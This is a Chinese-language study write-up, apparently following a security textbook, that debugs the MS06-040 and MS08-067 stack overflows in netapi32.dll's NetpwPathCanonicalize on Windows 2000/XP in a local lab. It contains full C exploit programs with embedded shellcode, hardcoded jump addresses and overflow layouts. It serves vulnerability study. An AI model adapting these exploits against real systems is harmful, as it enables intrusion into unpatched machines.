目录
RPC是分布式计算中经常用到的技术
两台计算机的通讯分为两种:一种是数据交换,一种是进程间的通信。RPC属于后者
RPC其实是在你自己的程序中调用一个函数(可能需要很大的计算量),而这个函数在另外一个或多个远程机器上执行,执行完就回传到我们的机器上的程序进行后续操作
PRC的网络操作对程序员来说是透明的
看了看RPC编程
看到了两张图,挺好


MS06-040
由于win2000难以拉工具进去,我肯定不去做了,这里作者也挺好,给了新的方法,本地调试
就是加载有漏洞的dll,调用漏洞函数
poc代码:
#include <windows.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
//load vulnerability netapi32.dll which we got from a WIN2K sp4 host  
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path 
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,'a',sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'b',sizeof(prefix)-2);
//__asm int 3
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
}
首先加载dll,获取那个漏洞函数的地址,传给函数指针,最后通过函数指针调用漏洞函数
将path和prefix设置成很长的a和b,两个\x00结尾的,这是因为NetpwPathCanonicalize按照Unicode来处理字符串

运行poc

,od附加,eip和esp都被覆盖成0x61了

看看这个函数在哪


那我们去下断点
注意加载完dll才能到那个地址下断点哦,f9停在下面

我们继续f8,在这个函数崩溃
重新载入,f7跟进,继续f8
首先算了一下prefix的长度,为0x7f,即127(127*2+1*2 = 0x100),两个字节当做
一个字符
将prefix复制到栈上
将prefix与"\"连接起来

算一下path的长度,为0x18f=399
后面再连接上path
即prefix+'\'+path

连接上了

我们再看看ebp的地方

由于ecx执行缓冲区开头,我们的shellcode就可以放在开头,返回地址覆盖成jmp ecx就行
用作者常用的插件找一下,作者用的就是下面的

继续看看exp

运行报错, 但能到达shellcode

可能我的系统有点问题
换一台虚拟机就可以了

确实,再换也可以

ida看看

漏洞函数

Windows Xp环境下的MS06-040 exploit
我们实验的是xp sp0, 使用win2000的方法,溢出并没有发生
用ida看看
最终的长度(合并路径长度)要和0x207比较,大于则推出程序,而不是win2000时的0x411

我们算了一下,应该是相对win2000是除以2了

既然这里不能溢出,接下来看看上面一点的代码

若prefix不为0,并指向空字符串,那么var_414就没初始化了

接下来只要长度不超过0x207,就连接上未初始化的var_414

作者说这是一个非常危险的操作,因为var414长度未知,可能超过0x414字节,在连接path就产生溢出了
var414在栈上,作者说内容随机,那么我们怎么控制var414的长度呢
是连续调用当前这个函数
但当前函数是NetpwPathCanonicalize的子函数,不能直接调用,(应该是因为我们现在还没完全获得控制权,只能在程序中写多次调用NetpwPathCanonicalize的代码)
那我们看看NetpwPathCanonicalize函数
首先edi是0,接下来都没更新edi的值

继续

作者说这样保证var414的栈空间不发生变化
我觉得的话是下面这个会破坏栈上的3个dword

我们就用较小的maxbuf就可以让函数返回非0了

看看poc
常量
#define PATH1_SIZE (0xc2*2) #define PATH2_SIZE (0x150*2) #define OUTBUF_SIZE 0x440 #define PREFIX_SIZE 0x410

我们打开exe看看,确实溢出了,0x62应该是pathname2溢出的


我们下断点调试看看
一进来,414全是0
prefix指针不为空,跳转

但这是空字符串,长度为0

长度为0x1c,符合预期

可以看到连接完就覆盖了var414了
再看看path中是否有'/',

有就换成'\\'

之后大于maxbuf(1),跳转,返回非0

看看返回前,栈的状态
返回非0,直接退出了

我们看到第二次连接的时候,返回地址被覆盖了

其实这种也适用win2000,所以这种思路更通用,作者这里没写exploit,我尝试看看
我们看到ecx还是指向var414开始处

那exploit的思路跟之前的是一样的
找一下jmp ecx
用0x71BBFCBE吧
我们改下代码
下面的其实一句就够了

首先PATH2_SIZE
#define PATH2_SIZE (0x150*2)
我们算算覆盖地址的位置(减去两个字节的00,还有通过上面知道多处的4个字节)

那么我们的返回地址布置在 663 664 665 666位置处
调试发现位置多了一个

应该是662 663 664 665 的位置
改完终于可以到达shellcode了
ko

补上exp代码
#include <windows.h>
typedef  void (__stdcall * MYPROC)(LPTSTR);
#define PATH1_SIZE      (0xc2*2)
#define PATH2_SIZE      (0x150*2)
#define OUTBUF_SIZE     0x440
#define PREFIX_SIZE     0x410
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
char PathName1[PATH1_SIZE];
char PathName2[PATH2_SIZE];
char Outbuf[OUTBUF_SIZE];
int OutbufLen=OUTBUF_SIZE;
char Prefix1[PREFIX_SIZE];
char Prefix2[PREFIX_SIZE];
long PathType1=44;
long PathType2=44;
//load vulnerability netapi32.dll which we got from a WINXP sp0 host  
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path 
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    // fill PathName
memset(PathName1,0,sizeof(PathName1));
memset(PathName1,'\x90',sizeof(PathName1)-2);
//在前面布置shellcode
memcpy(PathName1,shellcode,168);
memset(PathName2,0,sizeof(PathName2));
//memset(PathName2,0,sizeof(PathName2));
memset(PathName2,'\x90',sizeof(PathName2)-2);
PathName2[0x296]=0xBE;// address of CALL ECX
PathName2[0x297]=0xFC;
PathName2[0x298]=0xBB;
PathName2[0x299]=0x71;
    // set Prefix as a null string,来促发连接上var414
memset(Prefix1,0,sizeof(Prefix1));
memset(Prefix2,0,sizeof(Prefix2));
    // call NetpwPathCanonicalize several times to overflow
(Trigger)(PathName1,Outbuf,1        ,Prefix1,&PathType1,0);
(Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0);
FreeLibrary(LibHandle);
}
后面将的是更加通用的exp
他是将返回地址覆盖成0x2080A了,can_path也被覆盖成0x2080A
maxbuf的地址也随机化了,而且数值大,导致将连接后的字符串Buff_OF复制到can_path,即0x2080A处
键入我们shellcode放在开头,就复制到0x2080A,返回的时候就去0x2080A调用shellcode了
这确实有很强的平台兼容性,非常适合蠕虫,因为dll的版本有一点变化,那个地址就可能不一样了


MS08-067
在魔鬼训练营就听说臭名远扬的08-067了
又是一个RPC漏洞,蠕虫Conficker就是利用这个漏洞
竟然还是发生在那个子函数中,但是在不同的地方
我们也看到了针对ms06-040的防御

在复制到目标输出参数之前,将'/'替换为'\\'

继续,如果下面的函数返回0,才会调用后面的函数(看看汇编里面&&判断就知道了),从而触发溢出


漏洞就在sub_5FDDA26B
如果sub_5FDDA26B返回非0,就说明合并路径已符合要求
如果也不超过max_buf,就可以复制到can_path了

作者写了代码进行经典目录移除的测试
结果如下
BEFORE: aaa\bbbb\..\cccc AFTER : aaa\cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\..\..\cccc AFTER : RETVAL: FAIL(0x7B) BEFORE: \aaa\bbbb\..\..\cccc AFTER : \cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\.\cccc AFTER : aaa\bbbb\cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\cccc\. AFTER : aaa\bbbb\cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\.cccc AFTER : aaa\bbbb\.cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\..cccc AFTER : aaa\bbbb\..cccc RETVAL: SUCCESS(0x0) BEFORE: aaa\bbbb\\cccc AFTER : RETVAL: FAIL(0x7B) BEFORE: \\..\aaa AFTER : \\..\aaa RETVAL: SUCCESS(0x0) BEFORE: \\.\aaa AFTER : \\.\aaa RETVAL: SUCCESS(0x0) BEFORE: \\\.\aaa AFTER : \\\aaa RETVAL: FAIL(0x7B)
我们看看这个函数里面
这里的p1跟作者的不一样
p1永远指向/或者\的下一个字符
而且p1的值复制给了v2

那么p1copy-1就是指向\或者/了

向前搜索,/
开始的时候没有做边界检测,而是在循环中(j!=a1),假如开始的时候就越界了,那就这检测就是费的了

看看作者的程序
虽然返回成功,但仍存在经典目录

确实如作者所说

接下来
eax已经越界
而第一次进入循环后的判断已经少于12f66c了

向前找到时已经很前了

感觉ida的f5有点问题,那就看汇编

之后跳到那里去,之后又往上跳

之后就会再一次执行strcpy
还是复制到之前那个越界的地址

如果设计得当,wcscpy的返回地址将会被覆盖

尝试运行作者的exp,不行,原来作者使用了其他dll的jmp esp,在我的系统不是


在我的系统只是

那就找这个吧


ko

代码:
就修改了一句
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR,  LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
// address of jmp esp
//#define JMP_ESP "\x5D\x38\x82\x7C\x00\x00"
#define JMP_ESP "\x0B\x10\xE0\x5F\x00\x00"
//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{
    WCHAR path[256];
    WCHAR can_path[256];
    DWORD type = 1000; 
    int retval;
    HMODULE handle = LoadLibrary(".\\netapi32.dll");
    MYPROC Trigger = NULL;
    if (NULL == handle)
    {
        wprintf(L"Fail to load library!\n");
        return -1;
    }
    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
        FreeLibrary(handle);
        wprintf(L"Fail to get api address!\n");
        return -1;
    }
    path[0] = 0;
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
    wcscat(path, JMP_ESP);
    wcscat(path, SHELL_CODE);
    can_path[0] = 0;
    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
    FreeLibrary(handle);
    return 0;
}
漏洞总结
\\aaa\\..\\..\\bbbbbbbbbbbbbbbb
比如这个字符串,第一次时..\\bbbbbbbbbbbbbbbb复制到\\a的第一个\的地址,
这时路径变成..\\bbbbbbbbbbbbbbbb
第二次想去掉..\的时候,他要向前找到\为止,找到再复制过去,那就可以复制到前面的区域去了
接下来作者就说了一下Conficker蠕虫
目前学术界研究蠕虫病毒,主要思路是从网络行为上提取特征进行预警和控制
再传播时会探测性发出大量的扫描数据包,在网络中以指数级别迅速增长,大量占用网络带宽

